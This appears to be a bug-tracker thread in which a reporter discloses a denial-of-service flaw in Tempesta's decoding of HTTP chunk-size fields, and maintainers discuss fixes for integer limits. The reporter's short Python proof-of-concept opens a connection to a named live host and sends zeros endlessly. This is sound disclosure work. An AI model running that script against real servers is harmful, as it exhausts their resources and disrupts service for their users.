Chunked Transfer Coding - chunk-size decoding issue

[milabs]

As per RFC 7230 (4.1):

     chunked-body   = *chunk
                      last-chunk
                      trailer-part
                      CRLF

     chunk          = chunk-size [ chunk-ext ] CRLF
                      chunk-data CRLF
     chunk-size     = 1*HEXDIG
     last-chunk     = 1*("0") [ chunk-ext ] CRLF

     chunk-data     = 1*OCTET ; a sequence of chunk-size octets

Tempesta uses parse_int_hex to decode the length. But that function doesn't track the length of the size field itself. So, it's possible to use any amount of leading zeroes ('0') and although it's allowed by RFC this can be used to cause kind of DOS attack:

000...000100500
bla-bla...
0000....0000....000...

The script to check the issue:

import socket

s = socket.socket()
s.connect(('tempesta-tech.com', 80))

s.send("POST / HTTP/1.1\n")
s.send("Host: tempesta-tech.com\n")
s.send("Transfer-Encoding: chunked\n")
s.send("\n")
s.send("5\nHELLO\n")

while True:
    s.send('0')

[krizhanovsky]

@milabs thank you for the report!

[krizhanovsky]

The acc limit checking has following problems which must be fixed:

• UINT_MAX limit don't work against negative values;
• 32-bit integer could be not enough since there is no RFC limitation for maximum chunk size, so a poor server can send quite large file in single chunk. So long type must be used instead. Please check all other code for int/long compatibility.

Issue #498 (HTTP message buffering and streaming) requires streaming HTTP processing. Meantime, having too large chunks (as well as too large message bodies) we can fail by OOM. To mitigate the problem one can use http_body_len Frang limit.